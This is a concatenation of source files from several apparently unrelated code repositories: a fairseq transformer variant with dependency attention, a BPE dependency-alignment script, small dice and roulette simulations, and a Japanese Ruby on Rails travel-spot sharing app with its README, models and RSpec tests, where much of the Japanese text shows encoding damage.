assert encoder_attn is not None
encoder_attn.append(attn)
if self.layer_norm is not None:
x = self.layer_norm(x)
return {
"encoder_out": [x], # T x B x C
"encoder_padding_mask": [encoder_padding_mask], # B x T
"encoder_embedding": [encoder_embedding], # B x T x C
"encoder_states": encoder_states, # List[T x B x C]
"encoder_attn": encoder_attn, # List[N x B x T x T]
"src_tokens": [],
"src_lengths": [],
}
@register_model_architecture("transformer_dep", "transformer_dep")
def transformer_dep(args):
args.dependency_heads = getattr(args, "dependency_heads", 1)
args.dependency_layer = getattr(args, "dependency_layer", 0)
base_architecture(args)
@register_model_architecture("transformer_dep", "transformer_wmt_en_de_big_dep")
def transformer_wmt_en_de_big_dep(args):
args.dependency_heads = getattr(args, "dependency_heads", 1)
args.dependency_layer = getattr(args, "dependency_layer", 0)
transformer_wmt_en_de_big(args)
```
bpe_dependency.py
```#!/usr/bin/env python3
# Copyright (c) Hiroyuki Deguchi
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from argparse import ArgumentParser
import fileinput
def incremental_bpe_dependency(orig_gov, bpe_symbol_mask, word_head_positions):
wi = 0
bpe_govs = list(range(2, len(bpe_symbol_mask) + 2))
for i, is_bpe_symbol in enumerate(bpe_symbol_mask):
if not is_bpe_symbol:
gov = word_head_positions[orig_gov[wi]]
bpe_govs[i] = i + 1 if gov == 0 else gov
wi += 1
return bpe_govs
def main(args):
is_bpe_symbol = lambda x: str.endswith(x, args.bpe_symbol)
with \
fileinput.input(files=[args.orig_govs]) as orig_govs_lines, \
open(args.bpe_tokens) as bpe_tokens_lines:
for orig_govs, bpe_tokens in zip(orig_govs_lines, bpe_tokens_lines):
orig_govs = [int(g) for g in orig_govs.strip().split()]
bpe_tokens = bpe_tokens.strip().split()
# Example: ``Thi@@ s is an ex@@ am@@ ple .''
# => [ROOT, Thi@@, is, an, ex@@, .]
word_head_positions = [0, 1] + [i + 1 for i, w in enumerate(bpe_tokens, start=1) if not is_bpe_symbol(w)][:-1]
bpe_symbol_masks = [is_bpe_symbol(w) for w in bpe_tokens]
bpe_govs = incremental_bpe_dependency(orig_govs, bpe_symbol_masks, word_head_positions)
out_line = ' '.join(str(g) for g in bpe_govs)
print(out_line)
if __name__ == '__main__':
parser = ArgumentParser()
parser.add_argument('--bpe-tokens', '-t', type=str, required=True)
parser.add_argument('--orig-govs', '-g', type=str, default='-')
parser.add_argument('--bpe-symbol', type=str, default='@@')
args = parser.parse_args()
main(args)
```
|
yut4321/Python-Scripts
|
yut4321/Python-Scripts
randomCounter.py
```import random as rd
starting_amount = 10
current_amount = starting_amount
bet = 1
for i in range(1000):
y = rd.randint(1, 6)
x = rd.randint(1, 6)
if y == x:
current_amount += 6*bet
else:
current_amount -= bet
print(current_amount, end=' ')
```
README.md
```# Python-Scripts
Practice of Python in numpy and pandas libraries and others
```
roulette.py
```# roulette spin
import matplotlib.pyplot as plt
def spin():
import random as rd
x = rd.randint(0, 36)
y = rd.randint(0, 36)
if x == y:
# print('Spin was correct')
return True
if x != y:
# print('Spin was incorrect')
return False
def multiple_spins(intialamount, wager, wager_count, N): # multiple repetions of "games" of a roulette wheel
from math import sqrt
results = []
for i in range(N):
value = intialamount
for i in range(wager_count):
if spin():
value += wager*35
else:
value -= wager
results.append(value)
mean = sum(results)/N # stats analysis on mean and variance
print(mean)
s = 0
for i in results:
x = results[i]
term = (x - mean)**2
s += term
print(sqrt(s/N))
return results
```
|
yuta-pharmacy2359/dwc_JapanSiteInfo_app
|
yuta-pharmacy2359/dwc_JapanSiteInfo_app
README.md
```# JapanSiteInfo
## ใใใ็ป้ข
<img width="700" alt="JapanSiteInfo_README็จ็ปๅ1" src="https://user-images.githubusercontent.com/75191225/113389769-8c836e80-93cb-11eb-9797-7cf304a51965.png"><br>
ใฌในใใณใทใๅฏพๅฟ<br>
<img width="400" alt="JapanSIteInfo_README็จ็ปๅ2" src="https://user-images.githubusercontent.com/75191225/113389945-d2d8cd80-93cb-11eb-8a11-3ceebad28414.png">
## ๅไฝใใขgif

## ใตใคใๆฆ่ฆ
ๆฅๆฌๅๅฐใฎ่ฆณๅ
ๅฐใชใฉใฎๆ
ๅ ฑใๆ็จฟใใใตใคใ
### ใตใคใใใผใ
ใใชใใ ใใ็ฅใๆฅๆฌๅๅฐใฎใใใใในใใใใฎ้ญ
ๅใใฟใใชใซไผใใใ๏ผ
### ใใผใใ้ธใใ ็็ฑ
่ช่บซใๆฅๆฌๅๅฐใๆ
่กใใใใจใๅฅฝใใงใ<br>
ๆจไปใฏใณใญใ็ฆใง่ฆใใ็ถๆณไธใซ็ฝฎใใใฆใใ่ฆณๅ
ๅฐใซๅฏพใๅฐใใงใๅใซใชใใใใจๆใฃใใใใ
### ใฟใผใฒใใใฆใผใถ
ใปๆ
่กใๅฅฝใใชไบบ<br>
ใป่ชๅใฎๅฐๅ
ใฎในใใใใ็ดนไปใใใไบบ<br>
ใปๆ
่กใง่กใๅฐๅใฏๆฑบใพใฃใฆใใใใๅ
ทไฝ็ใซใฉใใซ่กใใใ่ฟทใฃใฆใใไบบ
### ไธปใชๅฉ็จใทใผใณ
ใป่ชๅใฎ่กใฃใๅ ดๆใซ้ขใใๅ็ใๆ
ๅ ฑใใฌใใฅใผใใใจใ<br>
ใป่ชๅใฎๅฐๅ
ใฎในใใใใ็ดนไปใใใใจใ<br>
ใปๆ
่กใซ่กใ้ใใจใใใใใใใใใฎ่ฆณๅ
ๅฐใๆขใใจใ<br>
ใป่ฆณๅ
ใตใคใใซใ่ผใฃใฆใใชใใใใช็ฉดๅ ดใใใใในใใใใๆขใใจใ
## ่จญ่จๆธ
ใปๆฉ่ฝไธ่ฆง(https://docs.google.com/spreadsheets/d/15ZyaacnlLYVt2UiYMu4ja5J2thfTkkYupYOGmhFKg4A/edit#gid=0)<br>
ใปERๅณ(https://app.diagrams.net/#G1hehi0GDSWDi59i3i1iXcP50dsJQ1D6wT)<br>
ใปใใผใใซๅฎ็พฉๆธ(https://docs.google.com/spreadsheets/d/1jNlNwvkfvA5OVQQdUNAkHiO9cJ6OGuqi/edit#gid=1260128466)<br>
ใปใขใใชใฑใผใทใงใณ่ฉณ็ดฐ่จญ่จๆธ(https://docs.google.com/spreadsheets/d/1GQhIay7zvfw3GbPX50oIlk4Wl4hIVzR-/edit#gid=184352165)<br>
ใปAWSๆงๆๅณ(https://docs.google.com/presentation/d/13dMBIlINAkhTfK0h_gAVFSHj4y0KH0Yl/edit#slide=id.p1)<br>
ใปAWSใคใณใใฉ่จญ่จๆธ(https://docs.google.com/spreadsheets/d/1gnNPFkVHjPHwOH3_PIZyD37yykBuhRri9LdQG-lSy50/edit#gid=0)<br>
## ้็บ็ฐๅข
- OS๏ผLinux(CentOS)
- ่จ่ช๏ผHTML,CSS,JavaScript,Ruby,SQL
- ใใฌใผใ ใฏใผใฏ๏ผRuby on Rails
- JS ใฉใคใใฉใช๏ผjQuery
- IDE๏ผCloud9
## ไฝฟ็จ็ด ๆ
ๅ็็ด ๆ<br>
ใปใฑใใใ(https://www.pakutaso.com/)<br>
ใปO-DAN(https://o-dan.net/ja/)
```
thanks_mailer.rb
```class ThanksMailer < ApplicationMailer
def complete_registration(user)
@user = user
if user.present?
mail(:subject => "ๆฐ่ฆ็ป้ฒๅฎไบใฎใ็ฅใใ", to: user.email)
end
end
end```
keyword_relationship.rb
```class KeywordRelationship < ApplicationRecord
belongs_to :spot
belongs_to :keyword
validates :spot_id, presence: true
validates :keyword_id, presence: true
end
```
spot_spec.rb
```require 'rails_helper'
RSpec.describe 'Spotใขใใซใฎใในใ', type: :model do
describe 'ใใชใใผใทใงใณใฎใในใ' do
subject { spot.valid? }
let(:user) { create(:user) }
let!(:spot) { build(:spot, user_id: user.id) }
context 'titleใซใฉใ ' do
it '็ฉบๆฌใงใชใใใจ' do
spot.title = ''
is_expected.to eq false
end
it '20ๆๅญไปฅไธใงใใใใจ: 20ๆๅญใฏใ' do
spot.title = Faker::Lorem.characters(number: 20)
is_expected.to eq true
end
it '20ๆๅญไปฅไธใงใใใใจ: 21ๆๅญใฏร' do
spot.title = Faker::Lorem.characters(number: 21)
is_expected.to eq false
end
end
context 'prefectureใซใฉใ ' do
it 'ๆช้ธๆใงใชใใใจ' do
spot.prefecture = nil
is_expected.to eq false
end
end
context 'cityใซใฉใ ' do
it '็ฉบๆฌใงใชใใใจ' do
spot.city = ''
is_expected.to eq false
end
it '15ๆๅญไปฅไธใงใใใใจ: 15ๆๅญใฏใ' do
spot.city = Faker::Lorem.characters(number: 15)
is_expected.to eq true
end
it '15ๆๅญไปฅไธใงใใใใจ: 16ๆๅญใฏร' do
spot.city = Faker::Lorem.characters(number: 16)
is_expected.to eq false
end
end
context 'visited_dayใซใฉใ ' do
it 'ๆชๆฅใฎๆฅไปใงใชใใใจ' do
spot.visited_day = Date.today + 1
is_expected.to eq false
end
end
context 'contentใซใฉใ ' do
it '็ฉบๆฌใงใชใใใจ' do
spot.content = ''
is_expected.to eq false
end
it '300ๆๅญไปฅไธใงใใใใจ: 300ๆๅญใฏใ' do
spot.content = Faker::Lorem.characters(number: 300)
is_expected.to eq true
end
it '300ๆๅญไปฅไธใงใใใใจ: 301ๆๅญใฏร' do
spot.content = Faker::Lorem.characters(number: 301)
is_expected.to eq false
end
end
end
describe 'ใขใฝใทใจใผใทใงใณใฎใในใ' do
context 'Userใขใใซใจใฎ้ขไฟ' do
it 'N:1ใจใชใฃใฆใใ' do
expect(Spot.reflect_on_association(:user).macro).to eq :belongs_to
end
end
context 'KeywordRelationshipใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(Spot.reflect_on_association(:keyword_relationships).macro).to eq :has_many
end
end
context 'Keywordใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(Spot.reflect_on_association(:keywords).macro).to eq :has_many
end
end
context 'Commentใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(Spot.reflect_on_association(:comments).macro).to eq :has_many
end
end
context 'Favoriteใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(Spot.reflect_on_association(:favorites).macro).to eq :has_many
end
end
context 'Notificationใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(Spot.reflect_on_association(:notifications).macro).to eq :has_many
end
end
end
end
```
spot.rb
```class Spot < ApplicationRecord
belongs_to :user
has_many :comments, dependent: :destroy
has_many :favorites, dependent: :destroy
has_many :favorited_users, through: :favorites, source: :user
has_many :keyword_relationships, dependent: :destroy
has_many :keywords, through: :keyword_relationships
has_many :notifications, dependent: :destroy
attachment :spot_image1
attachment :spot_image2
attachment :spot_image3
#ๆฅ่จชๆฅใฎใใชใใผใทใงใณ(ๆชๆฅใฎๆฅไปใฏ)
def visited_day_is_valid?
errors.add(:visited_day, "ใ็กๅนใชๆฅไปใงใ") if visited_day.present? && visited_day > Date.today
end
#ใใใญๆธใฟใใฉใใใฎๅคๆญ
def favorited_by?(user)
favorites.find { |f| f.user_id == user.id }.present?
end
#ใญใผใฏใผใใฎไฟๅญ
def save_keyword(sent_keywords)
current_keywords = keywords.pluck(:keyword) unless keywords.nil?
old_keywords = current_keywords - sent_keywords
new_keywords = sent_keywords - current_keywords
old_keywords.each do |old|
keywords.delete Keyword.find_by(keyword: old)
end
new_keywords.each do |new|
new_spot_keyword = Keyword.find_or_create_by(keyword: new)
keywords << new_spot_keyword
end
end
#ใใใญใฎ้็ฅ
def create_notification_by(current_user)
notification = current_user.active_notifications.new(spot_id: id, host_id: user_id, kind: "favorite")
notification.save if notification.valid?
end
#ใณใกใณใใฎ้็ฅ
def create_notification_comment!(current_user, comment_id)
temp_ids = Comment.select(:user_id).where(spot_id: id).where.not(user_id: current_user.id).distinct
temp_ids.each do |temp_id|
save_notification_comment!(current_user, comment_id, temp_id['user_id'])
end
save_notification_comment!(current_user, comment_id, user_id) if temp_ids.blank?
end
#ใณใกใณใใฎ้็ฅ
def save_notification_comment!(current_user, comment_id, host_id)
notification = current_user.active_notifications.new(spot_id: id, comment_id: comment_id, host_id: host_id, kind: "comment")
if notification.server_id == notification.host_id
notification.check = true
end
notification.save if notification.valid?
end
#ในใใใๅฅใใใญๆฐใฉใณใญใณใฐใฎ้่จ
def self.create_spot_favorite_ranks
Spot.find(Favorite.group(:spot_id).order('count(spot_id) desc').pluck(:spot_id))
end
validates :title, presence: true, length: { maximum: 20 }
validates :prefecture, presence: true
validates :city, presence: true, length: { maximum: 15 }
validate :visited_day_is_valid?
validates :content, presence: true, length: { maximum: 300 }
end
```
02_after_login_spec.rb
```require 'rails_helper'
describe '[STEP2] ใฆใผใถใญใฐใคใณๅพใฎใในใ' do
let(:user) { create(:user) }
let!(:other_user) { create(:other_user) }
let!(:spot) { create(:spot, user: user) }
let!(:other_spot) { create(:other_spot, user: other_user) }
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
end
describe 'ใใใใผใฎใในใ: ใญใฐใคใณใใฆใใๅ ดๅ' do
context 'ใชใณใฏใฎๅ
ๅฎนใ็ขบ่ช: โปใใญใฐใขใฆใใใฏใใฆใผใถใญใฐใขใฆใใฎใในใใใงใในใๆธใฟ' do
subject { current_path }
it 'ใJapanSiteInfoใใๆผใใจใใใใ็ป้ขใซ้ท็งปใใ' do
top_link = find_all('a')[0].native.inner_text
top_link = top_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link top_link
is_expected.to eq '/'
end
it 'ใ(ใใใฏใใผใ )ใใใใๆผใใจใใใคใใผใธ็ป้ขใซ้ท็งปใใ' do
nickname_link = find_all('a')[1].native.inner_text
nickname_link = nickname_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link nickname_link
is_expected.to eq '/users/' + user.id.to_s
end
it 'ใ้็ฅใใๆผใใจใ้็ฅไธ่ฆง็ป้ขใซ้ท็งปใใ' do
mypage_link = find_all('a')[2].native.inner_text
mypage_link = mypage_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link mypage_link
is_expected.to eq '/notifications'
end
it 'ใๆฐ่ฆๆ็จฟใใๆผใใจใๆฐ่ฆๆ็จฟ็ป้ขใซ้ท็งปใใ' do
new_spot_link = find_all('a')[3].native.inner_text
new_spot_link = new_spot_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link new_spot_link
is_expected.to eq '/spots/new'
end
it 'ใในใใใไธ่ฆงใใๆผใใจใในใใใไธ่ฆง็ป้ขใซ้ท็งปใใ' do
spots_link = find_all('a')[5].native.inner_text
spots_link = spots_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link spots_link
is_expected.to eq '/spots'
end
it 'ใใญใผใฏใผใไธ่ฆงใใๆผใใจใใญใผใฏใผใไธ่ฆง็ป้ขใซ้ท็งปใใ' do
keywords_link = find_all('a')[6].native.inner_text
keywords_link = keywords_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link keywords_link
is_expected.to eq '/keywords'
end
it 'ใใฆใผใถใผไธ่ฆงใใๆผใใจใใฆใผใถไธ่ฆง็ป้ขใซ้ท็งปใใ' do
users_link = find_all('a')[7].native.inner_text
users_link = users_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link users_link
is_expected.to eq '/users'
end
it 'ใใฉใณใญใณใฐใใๆผใใจใใใใญๆฐใฉใณใญใณใฐ(ในใใใ)็ป้ขใซ้ท็งปใใ' do
ranking_link = find_all('a')[8].native.inner_text
ranking_link = ranking_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link ranking_link
is_expected.to eq '/rankings/spot_favorite'
end
end
end
describe 'ใใใ็ป้ขใฎใในใ' do
before do
visit top_path
end
context 'ๆฐ็ในใใใ็ป้ขใฎใในใ' do
it 'ใๆฐ็ในใใใใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ๆฐ็ในใใใ'
end
it 'ในใใใใฎ็ปๅ(1ๆ็ฎ)ใ่กจ็คบใใใฆใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
end
it 'ๅในใใใใฎใฟใคใใซใ่กจ็คบใใใใชใณใฏๅ
ใใใใใๆญฃใใ' do
expect(page).to have_link spot.title, href: spot_path(spot)
expect(page).to have_link other_spot.title, href: spot_path(other_spot)
end
it 'ๅในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content spot.prefecture
expect(page).to have_content other_spot.prefecture
expect(page).to have_content spot.city
expect(page).to have_content other_spot.city
end
it 'ๅในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ๅในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ๅในใใใใฎ่ฉไพกใ่กจ็คบใใใ', js: true do
expect(page).to have_content spot.rate
expect(page).to have_content other_spot.rate
sleep 3
end
it 'ๅในใใใใฎใใใญใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_link '', href: spot_favorites_path(spot)
expect(page).to have_link '', href: spot_favorites_path(other_spot)
end
it 'ๅในใใใใฎใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_content spot.favorites.count
expect(page).to have_content other_spot.favorites.count
end
end
it 'ในใใใๆค็ดขใจใชใขใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_content 'ในใใใใๆขใใฆใฟใ'
expect(page).not_to have_field 'q[prefecture_eq]'
expect(page).not_to have_field 'q[city_cont]'
expect(page).not_to have_field 'q[title_cont]'
expect(page).not_to have_field 'q[keywords_keyword_cont]'
expect(page).not_to have_button 'ๆค็ดข'
end
end
describe 'ในใใใไธ่ฆง็ป้ขใฎใในใ' do
before do
visit spots_path
end
context 'ในใใใไธ่ฆง่กจ็คบใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/spots'
end
it 'ใในใใใไธ่ฆงใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ในใใใไธ่ฆง'
end
it '่ชๅใจไปไบบใฎในใใใใฎ็ปๅ(1ๆ็ฎ)ใ่กจ็คบใใใ๏ผ1ๆ็ฎใ1ๆใใค่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
end
it '่ชๅใจไปไบบใฎในใใใใฎใฟใคใใซใฎใชใณใฏๅ
ใใใใใๆญฃใใ' do
expect(page).to have_link spot.title, href: spot_path(spot)
expect(page).to have_link other_spot.title, href: spot_path(other_spot)
end
it '่ชๅใจไปไบบใฎในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content spot.prefecture
expect(page).to have_content other_spot.prefecture
expect(page).to have_content spot.city
expect(page).to have_content other_spot.city
end
it '่ชๅใจไปไบบใฎในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it '่ชๅใจไปไบบใฎในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it '่ชๅใจไปไบบใฎในใใใใฎ่ฉไพกใ่กจ็คบใใใ', js: true do
expect(page).to have_content spot.rate
expect(page).to have_content other_spot.rate
sleep 3
end
it '่ชๅใจไปไบบใฎในใใใใฎใใใญใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_link '', href: spot_favorites_path(spot)
expect(page).to have_link '', href: spot_favorites_path(other_spot)
end
it '่ชๅใจไปไบบใฎในใใใใฎใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_content spot.favorites.count
expect(page).to have_content other_spot.favorites.count
end
end
context 'ๆค็ดขใจใชใขใฎ็ขบ่ช' do
it '้ฝ้ๅบ็ใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[prefecture_eq]'
end
it 'ๅธๅบ็บๆใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[city_cont]'
end
it 'ใฟใคใใซใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[title_cont]'
end
it 'ใญใผใฏใผใใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[keywords_keyword_cont]'
end
it 'ๆค็ดขใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_button 'ๆค็ดข'
end
end
end
describe 'ในใใใๆฐ่ฆๆ็จฟใฎใในใ' do
before do
visit new_spot_path
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/spots/new'
end
it 'ใๆฐ่ฆในใใใใใจ่กจ็คบใใใ' do
expect(page).to have_content 'ๆฐ่ฆในใใใ'
end
it 'ใใฟใคใใซใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[title]'
end
it 'ใใญใผใฏใผใใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[keyword]'
end
it 'ใๆๅจๅฐ(้ฝ้ๅบ็)ใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[prefecture]'
end
it 'ใๆๅจๅฐ(ๅธๅบ็บๆ)ใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[city]'
end
it 'ใๆฅ่จชๆฅใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[visited_day(1i)]'
expect(page).to have_field 'spot[visited_day(2i)]'
expect(page).to have_field 'spot[visited_day(3i)]'
end
it 'ใ่ฉไพกใใใฉใผใ ใ่กจ็คบใใใ' do
expect(find('input[@name="spot[rate]"]', visible: false).text).to be_blank
end
it '็ปๅ้ธๆใฎใใฉใผใ ใ3ใค่กจ็คบใใใ' do
expect(page).to have_field 'spot[spot_image1]'
expect(page).to have_field 'spot[spot_image2]'
expect(page).to have_field 'spot[spot_image3]'
end
it 'ใๅ
ๅฎนใปๆๆณใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[content]'
end
it 'ใๆ็จฟใใใใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_button 'ๆ็จฟใใ'
end
end
context 'ๆฐ่ฆๆ็จฟใฎใในใ' do
before do
fill_in 'spot[title]', with: Faker::Lorem.characters(number: 10)
fill_in 'spot[keyword]', with: 'ๆฑไบฌใฟใฏใผ'
select 'ๆฑไบฌ้ฝ', from: 'spot_prefecture'
fill_in 'spot[city]', with: Faker::Lorem.characters(number: 10)
select '2021', from: 'spot_visited_day_1i'
select '1', from: 'spot_visited_day_2i'
select '1', from: 'spot_visited_day_3i'
find('input[@name="spot[rate]"]', visible: false).set('5')
attach_file "spot[spot_image1]", "app/assets/images/image1.jpg"
attach_file "spot[spot_image2]", "app/assets/images/image2.jpg"
attach_file "spot[spot_image3]", "app/assets/images/image3.jpg"
fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50)
end
it 'ๆญฃใใๆฐ่ฆๆ็จฟใใใ' do
expect { click_button 'ๆ็จฟใใ' }.to change(Spot.all, :count).by(1)
end
it 'ๆฐ่ฆๆ็จฟๅพใฎใชใใคใฌใฏใๅ
ใใๆฐ่ฆๆ็จฟใงใใในใใใใฎ่ฉณ็ดฐ็ป้ขใซใชใฃใฆใใ' do
click_button 'ๆ็จฟใใ'
expect(current_path).to eq '/spots/' + Spot.last.id.to_s
end
it 'ใญใผใฏใผใใ่กจ็คบใใใใชใณใฏๅ
ใๆญฃใใ' do
click_button 'ๆ็จฟใใ'
expect(page).to have_link 'ๆฑไบฌใฟใฏใผ', href: keyword_path(Keyword.last.id)
end
end
end
describe '่ชๅใฎในใใใ่ฉณ็ดฐ็ป้ขใฎใในใ' do
before do
visit spot_path(spot)
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/spots/' + spot.id.to_s
end
it 'ในใใใใฎใฟใคใใซใ่กจ็คบใใใ' do
expect(page).to have_content spot.title
end
it 'ในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content spot.prefecture
expect(page).to have_content spot.city
end
it 'ในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใใฎ่ฉไพกใ่กจ็คบใใใ', js: true do
expect(page).to have_content spot.rate
sleep 3
end
it '่ชๅใฎในใใใใฎใใใญใใฟใณๅใณใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_link '', href: spot_favorites_path(spot)
expect(page).to have_content spot.favorites.count
end
# 'ในใใใใฎใญใผใฏใผใใ่กจ็คบใใใ'ใฏใๆฐ่ฆ็ป้ฒใฎใในใใง็ขบ่ช
it 'ในใใใใฎ็ปๅใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
expect(page).to have_selector("img[src$='spot_image2.jpeg']")
expect(page).to have_selector("img[src$='spot_image3.jpeg']")
end
it 'ในใใใใฎๅ
ๅฎนใ่กจ็คบใใใ' do
expect(page).to have_content spot.content
end
it 'ในใใใใฎ็ทจ้ใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_link '็ทจ้ใใ', href: edit_spot_path(spot)
end
it 'ในใใใใฎๅ้คใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_link 'ๅ้คใใ', href: spot_path(spot)
end
end
context 'ใตใคใใใผใฎ็ขบ่ช' do
it 'ใๆ็จฟ่
ใใญใใฃใผใซใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ๆ็จฟ่
ใใญใใฃใผใซ'
end
it '่ชๅใฎใใญใใฃใผใซ็ปๅใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='profile_image.jpeg']")
end
it '่ชๅใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_content user.nickname
end
it '่ชๅใฎๆงๅฅใ่กจ็คบใใใ' do
expect(page).to have_content user.sex
end
it '่ชๅใฎๅนด้ฝขใ่กจ็คบใใใ' do
expect(page).to have_content user.age
end
it '่ชๅใฎไฝๆใ่กจ็คบใใใ' do
expect(page).to have_content user.prefecture
expect(page).to have_content user.city
end
it '่ชๅใฎ่ชๅทฑ็ดนไปใ่กจ็คบใใใ' do
expect(page).to have_content user.introduction
end
it 'ใใใญใใฃใผใซใใฟใใ(ใใคใใผใธ็ป้ขใธใฎใชใณใฏ)ใ่กจ็คบใใใ' do
expect(page).to have_link 'ใใญใใฃใผใซใใฟใ', href: user_path(user)
end
end
context 'ใณใกใณใใจใชใขใฎใในใ' do
it 'ใใณใกใณใใใจ่กจ็คบใใใ' do
expect(page).to have_content 'ใณใกใณใ'
end
it 'ใณใกใณใใฎๅ
จไปถๆฐใ่กจ็คบใใใ' do
expect(page).to have_content "ๅ
จ#{spot.comments.count}ไปถ"
end
it 'ใณใกใณใๅ
ฅๅใจใชใขใ่กจ็คบใใใ' do
expect(page).to have_content 'ใณใกใณใใใฉใใ'
expect(page).to have_field 'comment[comment]'
expect(page).to have_button '้ไฟกใใ'
end
end
context '็ทจ้ใชใณใฏใฎใในใ' do
it '็ทจ้็ป้ขใซ้ท็งปใใ' do
click_link '็ทจ้ใใ'
expect(current_path).to eq '/spots/' + spot.id.to_s + '/edit'
end
end
context 'ๅ้คใชใณใฏใฎใในใ' do
before do
click_link 'ๅ้คใใ'
end
it 'ๆญฃใใๅ้คใใใ', js: true do
expect{
expect(page.accept_confirm).to eq "ๆฌๅฝใซๅ้คใใพใใ๏ผ"
sleep 1
}. to change(user.spots, :count).by(-1)
end
it 'ใชใใคใฌใฏใๅ
ใใใใคใใผใธ็ป้ขใซใชใฃใฆใใ', js: true do
expect(page.accept_confirm).to eq "ๆฌๅฝใซๅ้คใใพใใ๏ผ"
sleep 1
expect(current_path).to eq '/users/' + user.id.to_s
end
end
end
describe '่ชๅใฎในใใใ็ทจ้็ป้ขใฎใในใ' do
before do
visit edit_spot_path(spot)
end
context '่กจ็คบใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/spots/' + spot.id.to_s + '/edit'
end
it 'ใในใใใ็ทจ้ใใจ่กจ็คบใใใ' do
expect(page).to have_content 'ในใใใ็ทจ้'
end
it 'ใฟใคใใซ็ทจ้ใใฉใผใ ใซในใใใใฎใฟใคใใซใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[title]', with: spot.title
end
it 'ใญใผใฏใผใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'spot[keyword]'
end
it '้ฝ้ๅบ็้ธๆใใฉใผใ ใงในใใใใฎ้ฝ้ๅบ็ใ้ธๆใใใฆใใ' do
expect(page).to have_select('้ฝ้ๅบ็', selected: 'ๆฑไบฌ้ฝ')
end
